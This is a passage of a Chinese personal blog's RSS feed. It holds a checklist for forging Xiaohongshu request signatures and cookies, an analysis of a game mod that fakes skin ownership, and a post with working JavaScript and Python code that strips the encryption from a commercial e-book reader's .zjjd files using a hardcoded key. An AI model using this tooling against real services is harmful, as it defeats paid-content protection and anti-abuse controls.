然后换域名。这扇门未来可能会关上。但至少今天，它还开着。</p><h2 id="">附录：最小复现清单</h2><p>按这个顺序把能力补齐就能把三条路线全跑通，对着打勾排查：</p><p><strong>入口层</strong></p><ul><li><input readOnly="" type="checkbox"/> 跟随 <code>xhslink.com/o/...</code> 302，拿到最终 URL</li><li><input readOnly="" type="checkbox"/> 从最终 URL 抽 <code>note_id</code> / <code>xsec_token</code> / <code>xsec_source</code>，用 <code>parse_qs</code> 保留 <code>=</code> padding</li></ul><p><strong>路线一（零 session）</strong></p><ul><li><input readOnly="" type="checkbox"/> iPhone UA 请求分享页，跟随重定向</li><li><input readOnly="" type="checkbox"/> 散点 regex 抽标题/作者/正文/stats/topics/时间，带&quot;小红书&quot;占位过滤</li><li><input readOnly="" type="checkbox"/> <code>onix-carousel-item</code> 抓图片，<code>_259.mp4</code> 过滤水印视频</li><li><input readOnly="" type="checkbox"/> <code>cdn_strip_watermark</code> 换 <code>sns-img-qc</code> 拿原图</li><li><input readOnly="" type="checkbox"/> content<em>type 三分支判定（video / `live</em>photo` / image）</li></ul><p><strong>Cookie 生成（路线二、三共用）</strong></p><ul><li><input readOnly="" type="checkbox"/> <code>a1</code> = <code>hex(ts) + rand30 + &quot;50000&quot; + crc32[:52]</code>，<code>webId</code> = MD5(a1)</li><li><input readOnly="" type="checkbox"/> 版本同步：从线上 <code>vendor-dynamic.xxx.js</code> 抽 <code>artifactVersion</code> / <code>languageVersion</code></li><li><input readOnly="" type="checkbox"/> 9 步 bootstrap 按顺序跑通，每步检查对应 cookie 写入</li><li><input readOnly="" type="checkbox"/> <code>websectiga</code> 的 base64 + 5 字符分组 + 二次查表解码</li><li><input readOnly="" type="checkbox"/> <code>gid</code> 的 JSON → base64 → DES-ECB(zbp30y86) → hex</li><li><input readOnly="" type="checkbox"/> <code>web_session</code> 从 activate 响应拿，区分 03 / 04</li></ul><p><strong>路线二（HTML）</strong></p><ul><li><input readOnly="" type="checkbox"/> 两个候选 URL（discovery/item + explore），带 document 级 headers</li><li><input readOnly="" type="checkbox"/> <code>extract_assigned_json_object</code>：正则 marker + brace-balance + 字符串转义</li><li><input readOnly="" type="checkbox"/> <code>sanitize_initial_state</code>：两轮 <code>undefined</code> → <code>null</code></li><li><input readOnly="" type="checkbox"/> <code>choose_note_payload</code>：按 note_id 查，兜底找第一个非 <code>undefined</code> key</li></ul><p><strong>路线三（API）</strong></p><ul><li><input readOnly="" type="checkbox"/> <code>x-s</code>：11 段字节 → XOR<em>KEY</em>124 → Base58(custom) → <code>mns0101_</code> + 外层 Base64(custom) + <code>XYS_</code></li><li><input readOnly="" type="checkbox"/> <code>x-s-common</code>：ARC4(xhswebmplfbt) 加密 18 字段指纹 → <code>b1</code>，外层 dict + diy_mrc + Base64</li><li><input readOnly="" type="checkbox"/> <code>x-b3-traceid</code> / <code>x-xray-traceid</code> / <code>x-t</code></li><li><input readOnly="" type="checkbox"/> 每次签名前更新 <code>loadts</code> 和 <code>fp</code> 的动态字段（x39/x44/x57/x58/x59/x61/x66/x69/x73）</li><li><input readOnly="" type="checkbox"/> <code>page_context</code> 根据 URL 切到 <code>note_detail</code></li><li><input readOnly="" type="checkbox"/> feed POST body 固定 shape（<code>source_note_id</code> / <code>image_formats</code> / <code>extra</code> / <code>xsec_source</code> / <code>xsec_token</code>）</li><li><input readOnly="" type="checkbox"/> 3 轮 auto-retry，每轮失败删 <code>device_state.json</code> + 清 init cookie 缓存 + 重建 session</li></ul><p><strong>统一输出</strong></p><ul><li><input readOnly="" type="checkbox"/> 三条路线归到同一套 dict shape，带 <code>source</code> / <code>extract_source</code> / <code>feed_attempts</code> / <code>feed_recovered_on_attempt</code></li><li><input readOnly="" type="checkbox"/> 实测三种内容类型（image / video / live_photo）都能出完整字段</li></ul></div><p style="text-align:right"><a href="https://blog.ovoii.io/posts/notes/cat-catches-mouse#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/posts/notes/cat-catches-mouse</link><guid isPermaLink="true">https://blog.ovoii.io/posts/notes/cat-catches-mouse</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Mon, 06 Apr 2026 19:41:16 GMT</pubDate></item><item><title><![CDATA[DST 皮肤模组的简单分析]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/posts/notes/dst-skin-system-reverse-engineering-mod-development">https://blog.ovoii.io/posts/notes/dst-skin-system-reverse-engineering-mod-development</a></blockquote><div><h2 id="-dst-">我以为这只是一个全皮肤资源包，结果它几乎重做了一套 DST 皮肤系统</h2><p>最近翻到一个已经停止维护、并被公开源码的《饥荒联机版》全皮肤 <code>mod</code>。最开始我以为这类项目的实现方式都差不多：把官方皮肤资源打包进模组目录，改几个表，最后在游戏里“显示出来”就算完事。</p><p>但把这个仓库真正读下来之后，我的判断完全变了。</p><p>它根本不是一个普通的资源包。更准确地说，它是一套运行时皮肤注入系统。它不是单纯把官方皮肤搬进来，而是尽量复刻了《饥荒联机版》原本的皮肤工作方式，然后在这套体系上额外加了一层 <code>custom_</code> 命名空间和一批运行时 <code>Hook</code>，让本地皮肤看起来像官方皮肤一样参与名称查询、图标查询、所有权判断、实体生成和换肤流程。</p><hr/><h2 id="">它真正做的，不是“加皮肤”，而是“接管皮肤系统”</h2><p>这个项目最值得注意的一点，是它并没有绕开官方皮肤体系，自己硬搓一套完全独立的逻辑。相反，它尽量贴着官方的结构走，只在必要的地方插入一层自己的运行时改写。</p><p>比如在 <a href="/E:/Desktop/skin/modmain.lua"><code>modmain.lua</code></a> 里，模组首先定义了 <code>custom_</code> 前缀的判断和剥离逻辑。这里的关键不只是“给名字加个前缀”，而是建立了一层稳定的映射关系：</p><ul><li>官方皮肤 <code>wilson_formal</code></li><li>模组皮肤 <code>custom_wilson_formal</code></li></ul><p>一旦这层映射建立起来，后面的事情就都顺了。模组可以在运行时把 <code>custom_wilson_formal</code> 识别成自己的皮肤，又可以在需要调用官方数据的地方，把它重新还原成 <code>wilson_formal</code> 去查名称、描述、图标和稀有度。</p><p>也就是说，<code>custom_</code> 不是一个装饰性前缀，而是整个系统的入口。</p><hr/><h2 id="">它没有复制官方文本，而是偷走了官方查询能力</h2><p>真正让我觉得这个项目“有点意思”的，是 <a href="/E:/Desktop/skin/skinloader/skinloader.lua"><code>skinloader/skinloader.lua</code></a> 里的那组代理逻辑。</p><p>这个文件没有去维护一份巨大的本地化文本表，也没有把官方图标名、稀有度字符串整套复制出来。它做的事更直接：拦截查询函数。</p><p>它会把：</p><ul><li><code>GetSkinDescription</code></li><li><code>GetSkinName</code></li><li><code>GetSkinInvIconName</code></li><li><code>GetModifiedRarityStringForItem</code></li><li><code>GetColorForItem</code></li></ul><p>这类全局函数统一包一层代理。如果传入的项目带 <code>custom_</code> 前缀，就先把前缀剥掉，再把请求交还给官方函数。</p><p>结果就是，模组不需要自己维护一大坨显示层数据。游戏在查询 <code>custom_wilson_formal</code> 时，最后拿到的仍然是官方 <code>wilson_formal</code> 的名字、描述、图标和稀有度逻辑。</p><p>从工程实现上说，这是非常典型也非常聪明的做法：不去复制结果，而是复用官方的“生成结果的能力”。</p><hr/><h2 id="">“全皮肤解锁”最核心的地方，其实是所有权伪造</h2><p>很多人看到这类项目，第一反应会是“是不是把皮肤列表显示出来了”。但这个理解只对了一半。</p><p>真正让它成立的地方，不在 UI，而在库存代理层。</p><p>在 <a href="/E:/Desktop/skin/skinloader/skinloader.lua"><code>skinloader/skinloader.lua</code></a> 里，这个模组重写了和库存所有权相关的多组接口，比如：</p><ul><li><code>InventoryProxy.CheckOwnership</code></li><li><code>InventoryProxy.CheckOwnershipGetLatest</code></li><li><code>InventoryProxy.GetOwnedItemCount</code></li><li><code>InventoryProxy.GetFullInventory</code></li></ul><p>它的核心思路很简单：只要某个皮肤被注册进模组自己的 <code>SKINS</code> 表，就让官方逻辑把它当成“已拥有”。</p><p>这一步非常关键。因为 DST 的皮肤系统不是“资源在本地就能直接穿上”，它中间还有一层所有权检查。这个模组真正绕过去的，就是这道门。</p><p>所以说，这类项目不是“把皮肤文件放进来就能用”，而是要同时解决三件事：</p><ul><li>皮肤数据能不能注册进去</li><li>皮肤所有权能不能骗过去</li><li>皮肤资源最终能不能正确渲染出来</li></ul><p>这三者缺一个都不行。</p><hr/><h2 id="">它连生成和换肤流程都一起接管了</h2><p>如果事情只做到“已拥有”，玩家最多只是能在某些界面里看到皮肤项，真正套到实体上时依然可能失败。</p><p>这个项目没有停在这里。它继续在运行时接管了几段更底层的皮肤流程：</p><ul><li><code>CreatePrefabSkin(...)</code></li><li><code>SpawnPrefab(...)</code></li><li><code>Sim:ReskinEntity(...)</code></li><li><code>AnimState:GetSkinBuild(...)</code></li></ul><p>这几个点串起来，才构成了“皮肤从定义到显示”的整条链路。</p><p>它的意思其实很直接：模组不是把资源丢在目录里，等引擎自己偶然发现；而是在实体生成、换肤和动画构建名解析这些关键节点上，明确告诉游戏“现在该用的是这个 <code>custom_</code> 皮肤”。</p><p>这也是为什么我会觉得它更像一套皮肤系统注入器，而不是一个素材集合。</p><hr/><h2 id="">这个仓库最容易看乱的地方，是你没有先分清三层</h2><p>如果直接在这个仓库里硬搜 <code>CreatePrefabSkin(...)</code>，很容易看得头大。因为同一个官方皮肤，往往会同时出现在几套不同文件里。</p><p>我后来发现，理解这个项目最有效的方法，是强行把它拆成三层去看。</p><p>第一层是“镜像层”，主要是：</p><ul><li><a href="/E:/Desktop/skin/scripts/prefabskins.lua"><code>scripts/prefabskins.lua</code></a></li><li><a href="/E:/Desktop/skin/scripts/prefabs/skinprefabs.lua"><code>scripts/prefabs/skinprefabs.lua</code></a></li></ul><p>这层的任务，是尽量保持和官方皮肤结构一致。这里通常还是官方命名，不加 <code>custom_</code>，更像是“官方结构的本地镜像”。</p><p>第二层是“激活层”，也就是：</p><ul><li><a href="/E:/Desktop/skin/scripts/prefabs/kleiskinprefabs.lua"><code>scripts/prefabs/kleiskinprefabs.lua</code></a></li></ul><p>这一层才是模组真正运行时要用的内容。这里的条目大多会变成 <code>custom_&lt;official_id&gt;</code>，并补上 <code>assets</code>、<code>build_name_override</code>、<code>init_fn</code> 这些运行时所需字段。当前仓库里，这一层大量条目还共用一个 <code>groupid = 0825</code>。</p><p>第三层是“资源层”，也就是：</p><ul><li><code>anim/dynamic/*.zip</code></li><li><code>anim/dynamic/*.dyn</code></li></ul><p>这层看上去最直观，但其实最不应该先看。因为资源层只是结果，不是逻辑中心。真正决定这些资源什么时候被加载、用什么名字匹配、是否能显示出来的，还是前面那套 Lua 注入逻辑。</p><p>只要这三层没有分开，后面几乎所有判断都会混乱。</p><hr/><h2 id="">这类项目最危险的误区，就是“我懂后缀规则了”</h2><p>读这类皮肤仓库时，很容易形成一种错觉：只要我记住 <code>_d</code>、<code>_p</code>、<code>_none</code> 各自是什么意思，后面就可以机械套模板了。</p><p>但这个仓库越往下看，我越觉得这是最容易犯错的思路。</p><p>通常情况下：</p><ul><li><code>_d</code> 常常代表有独立资源的变体</li><li><code>_p</code> 常常通过 <code>build_name_override</code> 去复用 <code>_d</code></li><li><code>_none</code> 往往是无皮肤占位条目</li></ul><p>问题在于，这些都只是经验规律，不是绝对规则。</p><p>真正能决定一个新皮肤该怎么接入的，从来不是后缀本身，而是官方原始定义里到底写了什么：</p><ul><li>它有没有 <code>assets</code></li><li>它是否复用别的 <code>build</code></li><li>它有没有 <code>init_fn</code></li><li>它的 <code>ghost_skin</code> 到底是官方命名还是 <code>custom_ghost_*</code></li><li>它是否还带 <code>powerup</code>、<code>stage2</code>、<code>stage3</code> 之类的变体链</li></ul><p>如果跳过这一步，只凭“看起来像 <code>_p</code>”就开始改文件，最后十有八九会把项目搞坏。</p><hr/><h2 id="-buildbin">这个项目里最容易被低估的文件，其实是 <code>build.bin</code></h2><p>如果只看文件名，很多人会以为资源接入的工作量不大：把官方 <code>.dyn</code> 和 <code>.zip</code> 拷过来，改成 <code>custom_xxx</code> 不就完了吗？</p><p>但真正的坑就在这里。</p><p><code>.dyn</code> 相对简单。这个仓库当前的结论是：<code>.dyn</code> 保存的是动画数据，本身不嵌入 <code>build</code> 名，所以很多情况下直接复制并改名就够了。</p><p>真正麻烦的是 <code>.zip</code>。</p><p>因为 <code>.zip</code> 里的 <code>build.bin</code> 会写入内部 <code>build</code> 名。如果模组运行时要找的是 <code>custom_backpack_invisible</code>，但你拷来的资源包内部还写着 <code>backpack_invisible</code>，那引擎在匹配时就可能直接对不上。表现出来就是最经典的那种问题：</p><ul><li>皮肤隐身</li><li>模型不显示</li><li>贴图丢失</li></ul><p>也就是说，很多时候“文件名改对了”根本不够，<code>build.bin</code> 里的内部名字也必须跟着一起改。</p><p>这一点恰恰是很多外行最容易忽略、但实际决定成败的地方。</p><hr/><h2 id="-backpackinvisible-">为什么 <code>backpack_invisible</code> 这个补档案例很有代表性</h2><p>这个仓库最近一次比较典型的补档，就是 <code>backpack_invisible</code>。它之所以值得单独提出来，不是因为这个皮肤本身有多特殊，而是因为它把整个维护流程都暴露得很完整。</p><p>为了补这个皮肤，仓库里做了几件彼此关联的事：</p><ol start="1"><li>在 <a href="/E:/Desktop/skin/scripts/prefabskins.lua"><code>scripts/prefabskins.lua</code></a> 里把它加进 <code>backpack</code> 分类。</li><li>在 <a href="/E:/Desktop/skin/scripts/prefabs/skinprefabs.lua"><code>scripts/prefabs/skinprefabs.lua</code></a> 里补上镜像定义。</li><li>在 <a href="/E:/Desktop/skin/scripts/prefabs/kleiskinprefabs.lua"><code>scripts/prefabs/kleiskinprefabs.lua</code></a> 里加入 <code>custom_backpack_invisible</code> 激活条目。</li><li>复制官方 <code>.dyn</code> 到 <code>anim/dynamic/custom_backpack_invisible.dyn</code>。</li><li>从官方的 <code>anim_dynamic.zip</code> 提取对应 <code>.zip</code>，再去 patch <code>build.bin</code> 的内部名称，最后保存成 <code>anim/dynamic/custom_backpack_invisible.zip</code>。</li></ol><p>这个例子很好地说明了三件事：</p><ul><li>更新不是只改 Lua，也不是只拷资源，而是数据层和资源层都要一起动。</li><li>官方资源并不一定都在松散目录里，有些要去 <code>databundle</code> 里找。</li><li>真正决定能否显示的关键之一，是运行时 <code>build</code> 名和资源包内部 <code>build</code> 名必须一致。</li></ul><p>如果把这个案例理解透了，这个项目后续大部分皮肤更新其实都只是同类问题的不同变体。</p><hr/><h2 id="">这不是一份“怎么免费用皮肤”的答案，而是一份很典型的工程样本</h2><p>我最后对这个项目的评价，其实和最开始完全不一样。</p><p>一开始我把它当成一个“全皮肤 mod 源码包”；读完之后，我更愿意把它看作一个非常典型的 DST 皮肤系统工程样本。它最值得研究的，不是“怎么绕过官方所有权”，而是它在绕过这件事的同时，尽量没有破坏官方皮肤系统原本的语义。</p><p>它没有简单粗暴地把每个皮肤写成一套独立逻辑，而是尽量去复用官方已经存在的东西：</p><ul><li>名称和描述查询</li><li>图标查询</li><li>稀有度逻辑</li><li>prefab skin 数据结构</li><li>资源复用关系</li></ul><p>真正额外增加的，只是它自己必须控制的那一层：<code>custom_</code> 命名、所有权伪造和运行时注入。</p><p>所以，这个仓库最难的地方，并不是会不会写 Lua，而是能不能在改动时保持足够克制。你得始终知道哪些东西应该跟官方保持一致，哪些地方才是这个项目真正需要自己接管的。</p><p>如果以后 DST 再更新新皮肤，那么最稳妥的路线仍然不会变：先确认官方新增了什么，再读原始定义，接着分别处理镜像层、激活层和资源层，最后再去验证 <code>build</code> 名、<code>ghost</code> 链和各种变体链有没有断。</p><p>从这个角度看，这个项目真正有价值的地方，恰恰不是它“做成了什么效果”，而是它展示了一个皮肤类模组在工程上可以做到多接近官方系统本身。</p></div><p style="text-align:right"><a href="https://blog.ovoii.io/posts/notes/dst-skin-system-reverse-engineering-mod-development#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/posts/notes/dst-skin-system-reverse-engineering-mod-development</link><guid isPermaLink="true">https://blog.ovoii.io/posts/notes/dst-skin-system-reverse-engineering-mod-development</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Thu, 02 Apr 2026 14:38:08 GMT</pubDate></item><item><title><![CDATA[当故事结束时，人们总会想起它的开始]]></title><description><![CDATA[<link rel="preload" as="image" href="https://img.ovoii.de/mx-images/u0a3ah8aea1zrb2s9n.jpg"/><div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/notes/81">https://blog.ovoii.io/notes/81</a></blockquote><img alt="人最擅长记录痛苦，因为幸福的时候不自知" height="1153" src="https://img.ovoii.de/mx-images/u0a3ah8aea1zrb2s9n.jpg" width="1170"/><p style="text-align:right"><a href="https://blog.ovoii.io/notes/81#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/notes/81</link><guid isPermaLink="true">https://blog.ovoii.io/notes/81</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Thu, 26 Mar 2026 19:00:06 GMT</pubDate></item><item><title><![CDATA[好多人都在死掉]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/notes/80">https://blog.ovoii.io/notes/80</a></blockquote><span>好多人都在死掉</span><p style="text-align:right"><a href="https://blog.ovoii.io/notes/80#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/notes/80</link><guid isPermaLink="true">https://blog.ovoii.io/notes/80</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Mon, 16 Mar 2026 22:02:18 GMT</pubDate></item><item><title><![CDATA[记录 2026 年第 71 天]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/notes/79">https://blog.ovoii.io/notes/79</a></blockquote><span>在年轻时候，我们误以为，我们生活中的重要人物和有影响的事件会大张旗鼓地露面和发生。到了老年以后，对生活所做的回顾和考察却告诉我们，这些人物和事件都是悄无声息、不经意地从后门进入我们的生活。</span><p style="text-align:right"><a href="https://blog.ovoii.io/notes/79#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/notes/79</link><guid isPermaLink="true">https://blog.ovoii.io/notes/79</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Wed, 11 Mar 2026 22:34:29 GMT</pubDate></item><item><title><![CDATA[记录 2026 年 第 68 天]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/notes/78">https://blog.ovoii.io/notes/78</a></blockquote><span>每个人都在自己的二十多岁痛哭</span><p style="text-align:right"><a href="https://blog.ovoii.io/notes/78#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/notes/78</link><guid isPermaLink="true">https://blog.ovoii.io/notes/78</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Sun, 08 Mar 2026 22:00:55 GMT</pubDate></item><item><title><![CDATA[记一次 Web 端私有格式加密 PDF (.zjjd) 的逆向与脱壳]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/posts/notes/zjjd">https://blog.ovoii.io/posts/notes/zjjd</a></blockquote><div><p>最近在寻找某电子书时遇到了一个采用自定义 <code>.zjjd</code> 文件格式来保护 PDF 电子书资源的 Web 端阅读器。它的前端代码不仅经过了深度混淆，还套上了一层 WebAssembly (Wasm) 的渲染引擎壳子。</p><h2 id="">初步分析</h2><p>在最初的抓包分析中，我并没有找到任何 <code>.pdf</code> 链接，只有几个静态资源和数据分片：</p><ol start="1"><li><strong><code>libmupdf.wasm.br</code></strong>：原文件约 21.7MB，解压后约 38.2MB，是经过 Brotli 压缩的 MuPDF WebAssembly 渲染核心。</li><li><strong><code>libmupdf.js</code></strong>：负责将上面的 Wasm 引擎解压并实例化。</li><li><strong><code>0.zjjd</code>、<code>1.zjjd</code>...</strong>：这是按页码请求的文档数据文件。大小约 300KB，没有 <code>%PDF-</code> 标记，没有 ZIP 结构，字节分布表现出极高的信息熵。</li></ol><p>初步分析可知这不是一个把 PDF 静态扔在服务器上的简易网站，而是通过 <code>libmupdf.js</code> 和 <code>libmupdf.wasm.br</code> 还原 <code>.zjjd</code> ，并没有直接在网络上暴露真实的 PDF。</p><h2 id="">寻找解密链路</h2><p>既然文件是加密的，那么它一定会在进入 MuPDF 渲染前被还原。</p><p>通过监控控制台日志，我注意到了 MuPDF 引擎抛出的一个隐蔽警告：<code>warning: ignoring CMap range (0-0) that is outside of the codespace</code>。</p><p>这是解析 PDF 字体/字符映射时的典型错误，也就是说最后交给 MuPDF 的是标准的 PDF 字节流。</p><p>顺着这条线索，我定位到了阅读页的核心业务 Chunk（<code>chunk-78d10754.e585c9ee.js</code>）。尽管代码被重度混淆，但它依然暴露出了一套 API 组合：
<code>ArrayBuffer</code> + <code>SHA-256</code> + <code>deriveKey</code> + <code>openDocumentFromBuffer</code>。</p><p>到这里，整条链路已经闭环：</p><p>前端按页请求 <code>.zjjd</code> -&gt; 业务 JS 使用 Web Crypto API 解密 -&gt; 得到明文 PDF 的 <code>ArrayBuffer</code> -&gt; 传递给 MuPDF Worker 进行渲染。</p><h2 id="">拦截</h2><p>既然明确了 <code>.zjjd</code> 经过解密后会变成 PDF 流给 MuPDF，那么根本不需要去死磕混淆。</p><p>通过下面这段 Hook 代码，可直接覆盖原生的 <code>Worker.prototype.postMessage</code>。因为主线程在解密完成后，必然要通过这个方法把二进制流传给 Worker。</p><pre class="language-javascript lang-javascript"><code class="language-javascript lang-javascript">// Hook Worker 的 postMessage 通信
const oldPostMessage = Worker.prototype.postMessage;
Worker.prototype.postMessage = function (msg, transfer) {
  try {
    // 拦截发往 MuPDF 的指令
    if (Array.isArray(msg) &amp;&amp; msg[0] === &quot;openDocumentFromBuffer&quot;) {
      const data = msg[1]?.[0];
      const magic = msg[1]?.[1];

      // 如果载荷是 Uint8Array，说明明文 PDF 已经解密完成准备渲染
      if (data instanceof Uint8Array) {
        console.log(&quot;🔥 成功拦截&quot;);
        console.log(&quot;-&gt; 伪装文件名:&quot;, magic); 
        console.log(&quot;-&gt; ASCII 头:&quot;, new TextDecoder().decode(data.slice(0, 16))); 

        // 自动打包为 PDF 并触发下载
        const blob = new Blob([data], { type: &quot;application/pdf&quot; });
        const url = URL.createObjectURL(blob);
        const a = document.createElement(&quot;a&quot;);
        a.href = url;
        a.download = `decrypted_page.pdf`;
        a.click();
      } 
    }
  } catch (e) {
    console.log(&quot;hook error:&quot;, e);
  }
  return oldPostMessage.call(this, msg, transfer);
};

</code></pre>
<p>这段脚本注入后，随着在页面上滚动鼠标加载电子书，可以看到这控制台打印出传给 worker 的参数是 <code>[Uint8Array(330508), &#x27;a.pdf&#x27;]</code>，即系统将解密出的单页 PDF 数据流包装成名为 <code>a.pdf</code> 的虚拟文件塞给了 MuPDF。</p><h2 id="">简易脚本自动脱壳</h2><p>仅仅在浏览器里拿缓存是不够的。</p><p>在随后对 Web Crypto API 的底层 Hook，我拿到了加密系统的所有信息：</p><ol start="1"><li><strong>基础密钥 (BaseKey)</strong>：前端硬编码的字符串 <code>xSeZw1dY2HKAj3yk</code>。</li><li><strong>派生算法</strong>：PBKDF2 (SHA-256, 65536 次迭代)。</li><li><strong>文件结构</strong>：每一个 <code>.zjjd</code> 文件的前 24 个字节并非加密内容，而是动态的参数。其中 <code>[0:8]</code> 字节为 Salt，<code>[8:24]</code> 字节为 AES-CBC-128 需要的 IV。</li></ol><pre class="language-python lang-python"><code class="language-python lang-python">import os
import glob
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend

def decrypt_zjjd(input_path, output_path):
    # 硬编码基础密码
    base_key = b&quot;xSeZw1dY2HKAj3yk&quot;

    with open(input_path, &quot;rb&quot;) as f:
        data = f.read()

    # 动态剥离文件头中的 Salt (8字节) 和 IV (16字节)
    if len(data) &lt;= 24: return False
    salt, iv, encrypted_payload = data[:8], data[8:24], data[24:]

    # 派生密钥
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(), length=16, salt=salt,
        iterations=65536, backend=default_backend()
    )
    derived_key = kdf.derive(base_key)

    # AES-CBC 内存解密
    cipher = Cipher(algorithms.AES(derived_key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    decrypted_data = decryptor.update(encrypted_payload) + decryptor.finalize()

    # 写入 PDF 明文
    with open(output_path, &quot;wb&quot;) as f: f.write(decrypted_data)
    return True

if __name__ == &quot;__main__&quot;:
    # 批量执行脱壳
    zjjd_files = sorted(glob.glob(&quot;./*.zjjd&quot;))
    print(f&quot;[*] 共发现 {len(zjjd_files)} 个加密块，开始脱壳...&quot;)
    
    for file_path in zjjd_files:
        output_path = file_path.replace(&quot;.zjjd&quot;, &quot;.pdf&quot;)
        if decrypt_zjjd(file_path, output_path):
            print(f&quot;  [+] 脱壳成功: {os.path.basename(file_path)}&quot;)
            
    print(&quot;\n 全部解密完成，可以使用 copy /b *.pdf final.pdf 合并成书。&quot;)

</code></pre></div><p style="text-align:right"><a href="https://blog.ovoii.io/posts/notes/zjjd#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/posts/notes/zjjd</link><guid isPermaLink="true">https://blog.ovoii.io/posts/notes/zjjd</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Fri, 06 Mar 2026 14:50:54 GMT</pubDate></item><item><title><![CDATA[子弹飞多久才会变成白鸽]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/notes/77">https://blog.ovoii.io/notes/77</a></blockquote><div><p>子弹飞多久才会变成白鸽</p><p><a href="https://www.bilibili.com/video/BV1Lr4y1y7ZW">https://www.bilibili.com/video/BV1Lr4y1y7ZW</a></p></div><p style="text-align:right"><a href="https://blog.ovoii.io/notes/77#comments">览毕，何不一言？</a></p></div>]]></description><link>https://blog.ovoii.io/notes/77</link><guid isPermaLink="true">https://blog.ovoii.io/notes/77</guid><dc:creator><![CDATA[顾绯]]></dc:creator><pubDate>Sun, 01 Mar 2026 19:47:58 GMT</pubDate></item></channel></rss>